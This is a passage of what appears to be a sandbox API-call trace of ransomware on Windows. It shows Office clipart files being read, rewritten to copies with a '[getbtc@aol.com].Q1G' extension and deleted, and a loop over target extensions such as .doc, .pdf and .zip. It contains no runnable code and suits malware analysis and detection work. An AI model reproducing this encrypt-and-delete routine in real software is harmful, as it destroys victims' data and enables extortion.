Office\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105320.wmf")) returned 0x20 [0256.533] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105320.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0256.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105320.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0256.533] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.533] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105320.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0256.534] GetLastError () returned 0x0 [0256.534] ReadFile (in: hFile=0x3c8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x7e4, lpOverlapped=0x0) returned 1 [0256.582] WriteFile (in: hFile=0x3d8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x7f0, lpOverlapped=0x0) returned 1 [0256.583] ReadFile (in: hFile=0x3c8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0256.585] WriteFile (in: hFile=0x3d8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0256.585] SetEndOfFile (hFile=0x3d8) returned 1 [0256.586] CloseHandle (hObject=0x3d8) returned 1 [0256.586] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.586] SetEndOfFile (hFile=0x3c8) returned 1 [0256.588] CloseHandle (hObject=0x3c8) returned 1 [0256.588] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0256.599] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105320.wmf")) returned 1 [0256.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF") returned 63 [0256.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF") returned 63 [0256.602] lstrlenW (lpString=".doc") returned 4 [0256.602] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.602] lstrlenW (lpString=".docx") returned 5 [0256.602] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0256.602] lstrlenW (lpString=".pdf") returned 4 [0256.602] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.602] lstrlenW (lpString=".xls") returned 4 [0256.602] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.602] lstrlenW (lpString=".xlsx") returned 5 [0256.602] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0256.602] lstrlenW (lpString=".ppt") returned 4 [0256.602] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF") returned 63 [0256.602] lstrlenW (lpString=".zip") returned 4 [0256.602] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.602] lstrlenW (lpString=".rar") returned 4 [0256.602] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.602] lstrlenW (lpString=".bz2") returned 4 [0256.602] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.602] lstrlenW (lpString=".7z") returned 3 [0256.602] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF") returned 63 [0256.603] lstrlenW (lpString=".dbf") returned 4 [0256.603] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF") returned 63 [0256.603] lstrlenW (lpString=".1cd") returned 4 [0256.603] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF") returned 63 [0256.603] lstrlenW (lpString=".jpg") returned 4 [0256.603] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF") returned 63 [0256.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF") returned 63 [0256.603] lstrlenW (lpString=".doc") returned 4 [0256.603] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.603] lstrlenW (lpString=".docx") returned 5 [0256.603] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0256.603] lstrlenW (lpString=".pdf") returned 4 [0256.603] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.603] lstrlenW (lpString=".xls") returned 4 [0256.603] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.603] lstrlenW (lpString=".xlsx") returned 5 [0256.603] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0256.603] lstrlenW (lpString=".ppt") returned 4 [0256.603] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF") returned 63 [0256.603] lstrlenW (lpString=".zip") returned 4 [0256.603] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.603] lstrlenW (lpString=".rar") returned 4 [0256.603] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.603] lstrlenW (lpString=".bz2") returned 4 [0256.603] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.603] lstrlenW (lpString=".7z") returned 3 [0256.603] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF") returned 63 [0256.603] lstrlenW (lpString=".dbf") returned 4 [0256.603] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF") returned 63 [0256.604] lstrlenW (lpString=".1cd") returned 4 [0256.604] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF") returned 63 [0256.604] lstrlenW (lpString=".jpg") returned 4 [0256.604] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.604] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0256.604] lstrlenW (lpString="J0105376.WMF") returned 12 [0256.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105376.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0256.604] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=4964) returned 1 [0256.604] CloseHandle (hObject=0x3c8) returned 1 [0256.604] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105376.wmf")) returned 0x20 [0256.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105376.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0256.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105376.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0256.605] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.605] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105376.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0256.606] GetLastError () returned 0x0 [0256.606] ReadFile (in: hFile=0x3c8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x1364, lpOverlapped=0x0) returned 1 [0256.607] WriteFile (in: hFile=0x3d8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x1370, lpOverlapped=0x0) returned 1 [0256.608] ReadFile (in: hFile=0x3c8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0256.608] WriteFile (in: hFile=0x3d8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0256.608] SetEndOfFile (hFile=0x3d8) returned 1 [0256.608] CloseHandle (hObject=0x3d8) returned 1 [0256.608] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.608] SetEndOfFile (hFile=0x3c8) returned 1 [0256.611] CloseHandle (hObject=0x3c8) returned 1 [0256.611] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0256.611] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105376.wmf")) returned 1 [0256.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF") returned 63 [0256.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF") returned 63 [0256.612] lstrlenW (lpString=".doc") returned 4 [0256.612] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.612] lstrlenW (lpString=".docx") returned 5 [0256.612] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0256.612] lstrlenW (lpString=".pdf") returned 4 [0256.612] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.612] lstrlenW (lpString=".xls") returned 4 [0256.612] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.612] lstrlenW (lpString=".xlsx") returned 5 [0256.612] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0256.612] lstrlenW (lpString=".ppt") returned 4 [0256.612] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF") returned 63 [0256.612] lstrlenW (lpString=".zip") returned 4 [0256.612] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.612] lstrlenW (lpString=".rar") returned 4 [0256.612] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.612] lstrlenW (lpString=".bz2") returned 4 [0256.612] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.612] lstrlenW (lpString=".7z") returned 3 [0256.612] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF") returned 63 [0256.612] lstrlenW (lpString=".dbf") returned 4 [0256.612] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF") returned 63 [0256.612] lstrlenW (lpString=".1cd") returned 4 [0256.612] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF") returned 63 [0256.612] lstrlenW (lpString=".jpg") returned 4 [0256.612] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF") returned 63 [0256.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF") returned 63 [0256.612] lstrlenW (lpString=".doc") returned 4 [0256.613] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.613] lstrlenW (lpString=".docx") returned 5 [0256.613] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0256.613] lstrlenW (lpString=".pdf") returned 4 [0256.613] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.613] lstrlenW (lpString=".xls") returned 4 [0256.613] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.613] lstrlenW (lpString=".xlsx") returned 5 [0256.613] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0256.613] lstrlenW (lpString=".ppt") returned 4 [0256.613] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF") returned 63 [0256.613] lstrlenW (lpString=".zip") returned 4 [0256.613] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.613] lstrlenW (lpString=".rar") returned 4 [0256.613] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.613] lstrlenW (lpString=".bz2") returned 4 [0256.613] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.613] lstrlenW (lpString=".7z") returned 3 [0256.613] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF") returned 63 [0256.613] lstrlenW (lpString=".dbf") returned 4 [0256.613] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF") returned 63 [0256.613] lstrlenW (lpString=".1cd") returned 4 [0256.613] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF") returned 63 [0256.613] lstrlenW (lpString=".jpg") returned 4 [0256.613] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.613] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0256.613] lstrlenW (lpString="J0105378.WMF") returned 12 [0256.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105378.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0256.614] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=4964) returned 1 [0256.614] CloseHandle (hObject=0x3c8) returned 1 [0256.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105378.wmf")) returned 0x20 [0256.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105378.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0256.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105378.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0256.614] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.615] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105378.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0256.615] GetLastError () returned 0x0 [0256.615] ReadFile (in: hFile=0x3c8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x1364, lpOverlapped=0x0) returned 1 [0256.617] WriteFile (in: hFile=0x3d8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x1370, lpOverlapped=0x0) returned 1 [0256.618] ReadFile (in: hFile=0x3c8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0256.618] WriteFile (in: hFile=0x3d8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0256.618] SetEndOfFile (hFile=0x3d8) returned 1 [0256.618] CloseHandle (hObject=0x3d8) returned 1 [0256.618] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.618] SetEndOfFile (hFile=0x3c8) returned 1 [0256.620] CloseHandle (hObject=0x3c8) returned 1 [0256.620] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0256.621] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105378.wmf")) returned 1 [0256.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF") returned 63 [0256.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF") returned 63 [0256.621] lstrlenW (lpString=".doc") returned 4 [0256.621] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.621] lstrlenW (lpString=".docx") returned 5 [0256.621] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0256.621] lstrlenW (lpString=".pdf") returned 4 [0256.621] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.621] lstrlenW (lpString=".xls") returned 4 [0256.621] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.621] lstrlenW (lpString=".xlsx") returned 5 [0256.622] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0256.622] lstrlenW (lpString=".ppt") returned 4 [0256.622] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF") returned 63 [0256.622] lstrlenW (lpString=".zip") returned 4 [0256.622] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.622] lstrlenW (lpString=".rar") returned 4 [0256.622] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.622] lstrlenW (lpString=".bz2") returned 4 [0256.622] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.622] lstrlenW (lpString=".7z") returned 3 [0256.622] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF") returned 63 [0256.622] lstrlenW (lpString=".dbf") returned 4 [0256.622] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF") returned 63 [0256.622] lstrlenW (lpString=".1cd") returned 4 [0256.622] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF") returned 63 [0256.622] lstrlenW (lpString=".jpg") returned 4 [0256.622] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF") returned 63 [0256.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF") returned 63 [0256.622] lstrlenW (lpString=".doc") returned 4 [0256.622] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.622] lstrlenW (lpString=".docx") returned 5 [0256.622] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0256.622] lstrlenW (lpString=".pdf") returned 4 [0256.622] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.622] lstrlenW (lpString=".xls") returned 4 [0256.622] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.622] lstrlenW (lpString=".xlsx") returned 5 [0256.622] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0256.622] lstrlenW (lpString=".ppt") returned 4 [0256.622] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF") returned 63 [0256.623] lstrlenW (lpString=".zip") returned 4 [0256.623] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.623] lstrlenW (lpString=".rar") returned 4 [0256.623] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.623] lstrlenW (lpString=".bz2") returned 4 [0256.623] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.623] lstrlenW (lpString=".7z") returned 3 [0256.623] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF") returned 63 [0256.623] lstrlenW (lpString=".dbf") returned 4 [0256.623] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF") returned 63 [0256.623] lstrlenW (lpString=".1cd") returned 4 [0256.623] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF") returned 63 [0256.623] lstrlenW (lpString=".jpg") returned 4 [0256.623] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.623] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0256.623] lstrlenW (lpString="J0105380.WMF") returned 12 [0256.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105380.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0256.624] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=4624) returned 1 [0256.624] CloseHandle (hObject=0x3c8) returned 1 [0256.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105380.wmf")) returned 0x20 [0256.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105380.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0256.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105380.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0256.624] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, 